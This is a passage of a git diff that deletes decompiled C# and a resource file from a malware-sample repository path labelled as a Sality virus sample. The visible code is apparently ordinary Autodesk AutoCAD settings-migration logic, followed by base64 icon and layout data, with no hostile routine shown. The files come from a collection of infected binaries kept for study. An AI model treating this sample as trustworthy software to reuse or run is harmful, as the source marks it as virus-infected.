Formatting.Indented; - string enumDescription1 = Migrator.GetEnumDescription(typeof (LogOperation), (Enum) (object) operation); - string enumDescription2 = Migrator.GetEnumDescription(typeof (LogCategory), (Enum) (object) category); - MainForm.MainWriter.WriteStartElement(enumDescription1); - MainForm.MainWriter.WriteStartAttribute((string) null, "Category", (string) null); - MainForm.MainWriter.WriteString(enumDescription2); - MainForm.MainWriter.WriteEndAttribute(); - MainForm.MainWriter.WriteString(message); - MainForm.MainWriter.WriteEndElement(); - MainForm.MainWriter.Flush(); - } - - public void LogXMLEndSection() - { - MainForm.MainWriter.Formatting = Formatting.Indented; - MainForm.MainWriter.WriteEndElement(); - MainForm.MainWriter.Flush(); - } - - private void HelpBtn_Click(object sender, EventArgs e) - { - string location = Assembly.GetEntryAssembly().Location; - string url = location.Substring(0, location.LastIndexOf("\\") + 1) + "help\\" + this.m_prodInfo.m_productId + "_sig.chm"; - string parameter = "admigrate.htm"; - if (MainForm.m_isVertMigration) - this.CallVerticalMigration("VerticalHelp", new object[3] - { - (object) this, - (object) url, - (object) parameter - }); - else - Help.ShowHelp((Control) this, url, HelpNavigator.Topic, (object) parameter); - } - - private void MainForm_Closed(object sender, EventArgs e) - { - if (Migrator.HasMigrated(this.ProductRegistryRootKey)) - return; - if (this.bRun) - Migrator.SetHasMigrated(this._Migrator, 0); - else - Migrator.SetHasMigrated(this._Migrator, 2); - } - - private void UserProfilesCheck_CheckedChanged(object sender, EventArgs e) - { - if (!this.UserProfilesCheck.Checked) - { - this.CUIFilesCheck.Enabled = false; - this.MNUMNSFilesCheck.Enabled = false; - this.UserIconFilesCheck.Enabled = false; - } - else - { - this.UserIconFilesCheck.Enabled = true; - this.UpdateCheckBoxes(this.InstalledVersionsCombo); - } - } - - internal static bool StringCollectionContains(StringCollection a, string b, bool ignoreCase) - { - if (a == null) - return false; - for (int index = 0; index < a.Count; ++index) - { - if (string.Compare(a[index], b, ignoreCase, CultureInfo.InvariantCulture) == 0) - return true; - } - return false; - } - - private void InstalledVersionsCombo_SelectedIndexChanged(object sender, EventArgs e) - { - if (!(sender is ComboBox versionsCombo)) - return; - this.UpdateCheckBoxes(versionsCombo); - } - - private void UpdateCheckBoxes(ComboBox versionsCombo) - { - ProductInfo selectedItem = versionsCombo.SelectedItem as ProductInfo; - if (!this.UserProfilesCheck.Checked) - return; - if (selectedItem.m_dVersion >= this._Migrator.MinCUIVersion) - { - this.MNUMNSFilesCheck.Enabled = false; - this.MNUMNSFilesCheck.Checked = false; - this.CUIFilesCheck.Enabled = true; - this.CUIFilesCheck.Checked = true; - } - else if (selectedItem.IsBeforeRio()) - { - this.MNUMNSFilesCheck.Enabled = true; - this.MNUMNSFilesCheck.Checked = true; - this.CUIFilesCheck.Enabled = false; - this.CUIFilesCheck.Checked = false; - } - else - { - this.MNUMNSFilesCheck.Enabled = false; - this.MNUMNSFilesCheck.Checked = false; - this.CUIFilesCheck.Enabled = false; - this.CUIFilesCheck.Checked = false; - } - } - - private void ExportCustomizations() - { - try - { - this.InitProductInfo(); - this.LogXMLInitialize(); - this._Migrator.GetInstalledAppList(this.ProductRegistryRootKey); - this.m_prodInfo.m_migrationType = (ProductInfo.MigrationType) 1; - this.m_prodInfo.dataFile = new DataFile(MainForm.MigrationFolder + "\\MigrationDataFile.xml"); - this.m_prodInfo.dataFile.SetProductInfo(this.m_prodInfo); - ExportDialog exportDialog = new ExportDialog(this); - exportDialog.BodyMessage.Text = string.Format(LocalResources.GetString("EXPORT_SETTINGS_BODY"), (object) this.m_prodInfo.m_productName); - if (exportDialog.ShowDialog((IWin32Window) this) != DialogResult.OK) - return; - this.m_includeNetworkFiles = exportDialog.IncludeNetworkedFiles; - System.Windows.Forms.SaveFileDialog saveFileDialog = new System.Windows.Forms.SaveFileDialog(); - if (Settings.Default.ExportInitialDirectory != null && Settings.Default.ExportInitialDirectory.Length > 0) - saveFileDialog.InitialDirectory = Settings.Default.ExportInitialDirectory; - else - saveFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - saveFileDialog.CheckFileExists = false; - saveFileDialog.Title = LocalResources.GetString("EXPORT_TITLE"); - saveFileDialog.Filter = LocalResources.GetString("ZIP_FILEDIALOG_FILTERS"); - saveFileDialog.FileName = this.m_prodInfo.m_productName + LocalResources.GetString("DEFAULT_EXPORT_FILENAME_BODY") + ".zip"; - if (saveFileDialog.ShowDialog() != DialogResult.OK || Autodesk.AutoCAD.Customization.Util.IsEmpty(saveFileDialog.FileName)) - return; - using (ProgressForm progressForm = new ProgressForm()) - { - progressForm.Show(); - System.Windows.Forms.Application.DoEvents(); - Settings.Default.ExportInitialDirectory = Path.GetDirectoryName(saveFileDialog.FileName); - this.m_prodInfo.zipInt = new ZipInterface(); - this.m_prodInfo.zipInt.createZipFile(saveFileDialog.FileName); - this.m_prodInfo.m_zipFileName = saveFileDialog.FileName; - System.Windows.Forms.Application.DoEvents(); - if (MainForm.m_isVertMigration) - { - this.CallVerticalMigration("ZipPreProcess", new object[2] - { - (object) saveFileDialog.FileName, - (object) this.m_prodInfo.m_regRootKey - }); - StringDictionary stringDictionary = new StringDictionary(); - this.CallVerticalMigration("VerticalEnvironmentVariables", new object[1] - { - (object) stringDictionary - }); - if (stringDictionary.Count > 0) - { - foreach (string key in (IEnumerable) stringDictionary.Keys) - this.m_prodInfo.EnvVars.Add(key, stringDictionary[key], true); - } - } - System.Windows.Forms.Application.DoEvents(); - string location = Assembly.GetEntryAssembly().Location; - // ISSUE: method pointer - new ProfileMigrator(location.Substring(0, location.LastIndexOf("\\") + 1) + "AdMigrator.xml") - { - IncludeNetworkedFiles = exportDialog.IncludeNetworkedFiles - }.Migrate(this._Migrator.destProductInfo(), this.m_prodInfo, this.ProductRegistryRootKey, new ProfileMigrator.Log((object) null, __methodptr(Log2File))); - System.Windows.Forms.Application.DoEvents(); - this.m_prodInfo.dataFile.SetSourceVariables(this.m_prodInfo.EnvVars); - System.Windows.Forms.Application.DoEvents(); - if (MainForm.m_isVertMigration) - this.CallVerticalMigration("ZipPostProcess", (object[]) null); - System.Windows.Forms.Application.DoEvents(); - this.m_prodInfo.dataFile.Save(); - this.m_prodInfo.zipInt.addFileToZip(this.m_prodInfo.dataFile.FileName); - File.Delete(this.m_prodInfo.dataFile.FileName); - } - int num = (int) System.Windows.Forms.MessageBox.Show(string.Format(LocalResources.GetString("EXPORT_SUCCESS"), (object) saveFileDialog.FileName), this.m_prodInfo.m_productName); - } - catch (SystemException ex) - { - int num = (int) System.Windows.Forms.MessageBox.Show(string.Format(LocalResources.GetString("EXPORT_FAILURE"), (object) ex.Message), this.m_prodInfo.m_productName); - } - finally - { - this.LogXMLFinalize(); - if (this.m_prodInfo.zipInt != null) - this.m_prodInfo.zipInt.closeZipFile(); - } - } - - private void ImportCustomizations() - { - string text = ""; - bool flag1 = false; - this.InitProductInfo(); - this.LogXMLInitialize(); - this._Migrator.GetInstalledAppList(this.ProductRegistryRootKey); - System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog(); - if (Settings.Default.ImportInitialDirectory != null && Settings.Default.ImportInitialDirectory.Length > 0) - openFileDialog.InitialDirectory = Settings.Default.ImportInitialDirectory; - else - openFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - openFileDialog.Title = LocalResources.GetString("IMPORT_TITLE"); - openFileDialog.Filter = LocalResources.GetString("ZIP_FILEDIALOG_FILTERS"); - if (openFileDialog.ShowDialog() != DialogResult.OK || Autodesk.AutoCAD.Customization.Util.IsEmpty(openFileDialog.FileName)) - return; - Settings.Default.ImportInitialDirectory = Path.GetDirectoryName(openFileDialog.FileName); - this.m_prodInfo.zipInt = new ZipInterface(); - int num1 = this.m_prodInfo.zipInt.initZipExtraction(openFileDialog.FileName, MainForm.MigrationFolder); - if (num1 < 0) - { - if (num1 == -2) - text = string.Format(LocalResources.GetString("ERROR_NOT_EXPORT_PACKAGE"), (object) this.m_prodInfo.m_productName); - if (num1 == -1) - text = LocalResources.GetString("ERROR_UNZIPPING_FILE"); - int num2 = (int) System.Windows.Forms.MessageBox.Show(text, LocalResources.GetString("IMPORT_TITLE")); - } - else - { - this.m_prodInfo.m_migrationType = (ProductInfo.MigrationType) 1; - this.m_prodInfo.dataFile = new DataFile(MainForm.MigrationFolder + "\\MigrationDataFile.xml"); - this.m_prodInfo.PostProcessDataFile(); - bool flag2 = true; - if (string.Compare(this.m_prodInfo.m_productId, this._Migrator.destProductInfo().m_productId, true, CultureInfo.InvariantCulture) != 0) - flag2 = false; - if (string.Compare(this.m_prodInfo.m_productTag, this._Migrator.destProductInfo().m_productTag, true, CultureInfo.InvariantCulture) != 0) - flag2 = false; - if (string.Compare(this.m_prodInfo.m_version, this._Migrator.destProductInfo().m_version, true, CultureInfo.InvariantCulture) != 0) - flag2 = false; - if (string.Compare(this.m_prodInfo.m_languageTag, this._Migrator.destProductInfo().m_languageTag, true, CultureInfo.InvariantCulture) != 0) - flag2 = false; - if (!flag2) - { - int num3 = (int) System.Windows.Forms.MessageBox.Show(string.Format(LocalResources.GetString("ERROR_IMPORT_TYPE"), (object) this.m_prodInfo.m_productName, (object) this.m_prodInfo.m_version, (object) this.m_prodInfo.m_languageTag), LocalResources.GetString("IMPORT_TITLE")); - } - else - { - if (string.Compare(this.m_prodInfo.dataFile.Culture, CultureInfo.CurrentCulture.Name, true, CultureInfo.InvariantCulture) != 0) - { - int num4 = (int) System.Windows.Forms.MessageBox.Show(LocalResources.GetString("WARNING_DIFFERENTCODEPAGE"), LocalResources.GetString("IMPORT_TITLE")); - } - DirectoryInfo directory = Directory.CreateDirectory(Path.GetTempPath() + "\\AdMigExtraction"); - this.m_prodInfo.m_zipExtractDir = directory.FullName; - try - { - using (ProgressForm progressForm = new ProgressForm()) - { - progressForm.Show(); - System.Windows.Forms.Application.DoEvents(); - this.LogXMLStartSection((LogSection) 10); - this.LogXMLElement((LogOperation) 2, (LogCategory) 1, string.Format(this.m_LocalResources.GetString("IMPORT_FILE"), (object) openFileDialog.FileName)); - string location = Assembly.GetEntryAssembly().Location; - ProfileMigrator profileMigrator = new ProfileMigrator(location.Substring(0, location.LastIndexOf("\\") + 1) + "AdMigrator.xml"); - System.Windows.Forms.Application.DoEvents(); - if (MainForm.m_isVertMigration) - { - this.CallVerticalMigration("UnZipPreProcess", new object[2] - { - (object) directory.FullName, - (object) this.ProductRegistryRootKey - }); - StringDictionary stringDictionary = new StringDictionary(); - this.CallVerticalMigration("VerticalEnvironmentVariables", new object[1] - { - (object) stringDictionary - }); - if (stringDictionary.Count > 0) - { - foreach (string key in (IEnumerable) stringDictionary.Keys) - this._Migrator.destProductInfo().EnvVars.Add(key, stringDictionary[key], true); - } - } - System.Windows.Forms.Application.DoEvents(); - // ISSUE: method pointer - flag1 = profileMigrator.Migrate(this.m_prodInfo, this._Migrator.destProductInfo(), this.ProductRegistryRootKey, new ProfileMigrator.Log((object) null, __methodptr(Log2File))); - System.Windows.Forms.Application.DoEvents(); - if (MainForm.m_isVertMigration) - this.CallVerticalMigration("UnZipPostProcess", (object[]) null); - System.Windows.Forms.Application.DoEvents(); - } - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_UNKNOWN"), (object) ex.Message); - this.LogXMLElement((LogOperation) 0, (LogCategory) 0, str); - MainForm.Log2File(str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - if (this.m_prodInfo.zipInt != null) - this.m_prodInfo.zipInt.closeUnzip(); - if (Directory.Exists(this.m_prodInfo.m_zipExtractDir)) - Directory.Delete(this.m_prodInfo.m_zipExtractDir, true); - if (File.Exists(this.m_prodInfo.dataFile.FileName)) - File.Delete(this.m_prodInfo.dataFile.FileName); - } - this.LogXMLFinalize(); - ImportDialog importDialog = new ImportDialog(); - if (flag1) - { - string str = string.Format(this.m_LocalResources.GetString("IMPORT_LOG_LOCATION"), (object) MainForm.LogFileNameXml); - importDialog.labelLogText = str; - } - else - { - string str = this.m_LocalResources.GetString("IMPORT_FAILURE"); - importDialog.successMsg = str; - } - int num5 = (int) importDialog.ShowDialog(); - if (!importDialog.displayLog) - return; - try - { - Process.Start("IExplore.exe", MainForm.LogFileNameXml); - } - catch - { - int num6 = (int) System.Windows.Forms.MessageBox.Show(this.m_LocalResources.GetString("NO_LOG"), this.Text); - } - } - } - } - - public static CUIFileMap GetFileMapFromMenuGroup(string menuGroupName) - { - foreach (CUIFileMap cuiFileMap in MainForm.CUIFileMapArray) - { - if (menuGroupName.Equals(cuiFileMap.SourceMenuGroupName, StringComparison.InvariantCultureIgnoreCase)) - return cuiFileMap; - } - return (CUIFileMap) null; - } - - public static CUIFileMap GetFileMapFromMacroGroup(string macroGroupName) - { - foreach (CUIFileMap cuiFileMap in MainForm.CUIFileMapArray) - { - if (macroGroupName.Equals(cuiFileMap.SourceMacroGroupName, StringComparison.InvariantCultureIgnoreCase)) - return cuiFileMap; - } - return (CUIFileMap) null; - } - - public static CUIFileMap GetFileMapFromFileName(string fileName) - { - string withoutExtension1 = Path.GetFileNameWithoutExtension(fileName); - foreach (CUIFileMap cuiFileMap in MainForm.CUIFileMapArray) - { - string withoutExtension2 = Path.GetFileNameWithoutExtension(cuiFileMap.SourceFileName); - if (withoutExtension1.Equals(withoutExtension2, StringComparison.InvariantCultureIgnoreCase)) - return cuiFileMap; - } - return (CUIFileMap) null; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.resx deleted file mode 100644 index 31d93fb2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MainForm.resx +++ /dev/null @@ -1,655 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - {0}-defined line files - - - 4 - - - - 1 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAC8AAAAkAEAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAgAAAAGAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFEAAAAWAAAACw== - - - &Help - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAH5iAAACAAABAAkAMDAQAAEABABoBgAAlgAAACAgEAABAAQA6AIAAP4GAAAQEBAAAQAEACgBAADmCQAAMDAAAAEACACoDgAADgsAACAgAAABAAgAqAgAALYZAAAQEAAAAQAIAGgFAABeIgAAMDAAAAEAIACoJQAAxicAACAgAAABACAAqBAAAG5NAAAQEAAAAQAgAGgEAAAWXgAAKAAAADAAAABgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wCAAIAA/wAAAIAAAAD//wAAgIAAAAD/AAAAgAAAAP//AACAgAAAAP8AAACAAP///wDAwMAAgICAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8zMz///////////mZ///////////////MzM///////////5mZn/////////////zMzP///////////5iZmf////////////zMz////////////5iJmZ////////////zMz/////////////mImZn///////////zMz////8////////+YiZmf//////////zMzP///M/////////5iJmZ//////////zMzM//zM//////////mImZn/////////zMzMzMzM//////////+YiZmf///////8zMzMzMzM///////////5iJmZ///////MzMzMzMzP////////////mImZn/////zM3MzMzMz/////////////+YiZmf///8zNzM///////////////////5iJmZ///MzczP////////////////////mImZnPzM3Mz/////////////////////+YiZz8zNzM///////////////////////5iM/MzczP////////////////////////nPzM3Mz/////////////////////////z8zNzM///////////////////////////MzczP//////////////////////////zM3Mz8/////////////////////////8zNzM/Jn////////////////////////MzczPyJmf//////////////////////zM3Mz/+YmZ/////////////////////8zNzM///5iZn////////////////////MzczP////mJmf//////////////zMzMzM3Mz/////+YmZ/////////////8zMzMzNzM///////5iZn///////3////MzMzMzMzP////////mJ///////9/////MzMzMzMz/////////+f/////////////Mz//MzMz////////////////////////M///8zMz////////////////////////P////zMz/////////////////////////////zMz///////////////3/////////////zMz//////////////9/////////////8zMz//////////////f/////////////MzM//////////////3/////////////zMzP//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAP///////wAA////////AAD///////8AAP///////wAA/////gf/AAD4///8A/8AAPB///gH/wAA4D//8A//AADgH//wH/8AAOAP//AffwAA8Af/8D4/AAD4A//wHD8AAPwB//AAPwAA/gD/8AA/AAD/AH/gAD8AAP+AP8AAPwAA/8AfgAB/AAD/4A8AAP8AAP/wBgAB/wAA//gAAP//AAD//AAB//8AAP/+AAP//wAA//8AB///AAD//4AP//8AAP//gB///wAA//8AH///AAD//gAP//8AAP/8AAf/3wAA//gAA/8PAAD/8AMB/gcAAPgAB4D8AwAA8AAPwHwBAADgAB/gPAEAAMAAP/AAAwAAwAB/+AAHAADAAP/8AA8AAMOA//4AfwAAx8D//wB/AADvwP//AH8AAP/A//8A/wAA/4D//gH/AAD/AfgAA/8AAP4D/wAH/wAA/wf/4D//AAD///////8AAP///////wAA////////AAAoAAAAIAAAAEAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP//////////////////////////////////////////////////////////////////////////////////////////////////zM////////mZ/////////Mz////////5iZ////////zP////////+ZiZ///////8z//8//////+ZiZ///////Mz/zP//////+ZiZ/////8zMzMz///////+ZiZ////zNzMzP////////+ZiZn//M3M////////////+ZiZz8zcz/////////////+ZjPzNzP//////////////+c/M3M////////////////z8zcz/////////////////zNzP/////////////////M3M/P///////////////8zcz8if//////////////zNzP/5if/////////////M3M///5if/////f///8zMzcz////5if///9////zMzMzP/////5j////////8z/zM/////////////////P//zP//////////3////////8z//////////f////////zM/////////9/////////Mz////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP/////////////////////5n////M////mJ///8/////5if//z/z///+YnPzMzP////nPzc///////Pzc////////zc////////zc/P/////MzM//n////8/8//////////z////9////zP///9//////////////////////////8AAJ+PAAAPDwAABxMAAIMDAADAAwAA4AcAAPA/AADwfwAAgDkAAAEYAAADgQAAI8MAAMOHAADGDwAA//8AACgAAAAwAAAAYAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgIAAoKCAAJWqgCGgn4Amp7CADoyLgDSysIA3t7mAFZOSgBqYl4A7urmAFpijgAiHhoA1tLSAEY6OgBmVlIAWmamADIuKgD29vYA3t7aAE5GQgCCiroA1tLKAObi4gBeWlIAfnJqAPLy7gBudpoAKiYiAEI6MgBKPjoAAv7+AGZeWgBuerIALi4yABIODgACgv4AysrKAFpWTgDe2tYA/v76AK6qqgDa0soA6urmAIJyagB2grYA7u7uAGJuqgDm4t4ATkJCAKauzgA6MjIAXmaOACoiIgD++voA4uLeAObm4gByeqIALiomAEpCOgBuXloANjY2AHqKugCqln4A0s7OAOLm7gBeUkoA7u7qACoiHgDe1tIA+vr2AN7e3gBiXlYAdnZ2APb28gBudp4AKiYmAEY+NgA2MjYAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgDazsIA4uLqAFZSSgBWXooAWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4AUkpGAJaavgDS0s4AYlpWAPLy8gBCOjYAZmJaADIyMgASEg4AXlZSANra2gCyrqoAgnZuAHqGtgCqstIAPjYyAEpCPgAGBgYAlpKOAEI2KgDWzsYA2t7qAG5iXgDu6uoAJh4eAEY+OgBeaqoANi4qAPr29gDi3toAUkZCAIKOtgCampoAwsLaAHZ+tgB+dnIAenJuAKqu0gBaUk4AFhISAGJaUgBydpoALiYiAEo+PgBqXloAMi4yAF5WTgD+/v4A2tLOAOrq6gB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgDy7uoA+vr6AOLe3gBydp4ALiYmAN7WzgBmcq4A6ubmAF5ikgDa1tYAZlpWANbSzgD28vIARjo2AN7a2gCyrq4AhnZuAD42NgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD09PT09AAAAAAAAAAAAAAAAAAAAAAA9PT0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD0CAgI9AAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAAAAAAAAAAAAAPQICAgICPQAAAAAAAAAAAAAAAAAAAAAAAD0TExMTKD0AAAAAAAAAAAAAAAAAAAAAPQIkAgICAj0AAAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAD0AAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAPRM9AAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAAAAAAD0TExMTEz0AAAA9ExM9AAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAD0TExMTExM9PT0TExM9AAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAD0TExMTExMTExMTExM9AAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAPRMTExMTExMTExMTEygAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAA9ExMogRMTExMTExMTKD0AAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAD0TEyiBExMoKCgoKCgoPQAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAPRMTKIETEyg9PT09PT09AAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgIlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJCU9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPSU9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9JQICPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0lAgICAj0AAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPQA9AiQCAgI9AAAAAAAAAAAAAD09PT0AAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9AAAAPQIkAgICPQAAAAAAAAAAPT09PT09AAAAAAAAAAA9PT09PT09ExMogRMTKD0AAAAAAD0CJAICAj0AAAAAAAA9PT09PT09PQAAAAAAAD0TExMTExMTEyiBExMoPQAAAAAAAAA9AiQCAgI9AAAAAAA9PT09PT09PT0AAAAAPRMTExMTExMTExMTEyg9AAAAAAAAAAAAPQIkAgICPQAAAAA9PT09PT0lPT0AAAA9ExMTExMTExMTExMTKD0AAAAAAAAAAAAAAD0CJAI9PT09PT09PT09PSU9PQAAAAA9ExMTKCgoExMTExMoPQAAAAAAAAAAAAAAAAA9Aj09PT09PT09PT09PT09AAAAAAA9ExMoPT09ExMTExMoPQAAAAAAAAAAAAAAAAAAPT09PT09PT09PT09PT0AAAAAAAA9Eyg9AAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD09PT09PT09PT0AAAAAAAAAAAA9KD0AAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT09PT0AAAAAAAAAAAAAPQAAAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT0lPT0AAAAAAAAAAAAAAAAAAAAAAD0TExMoPQAAAAAA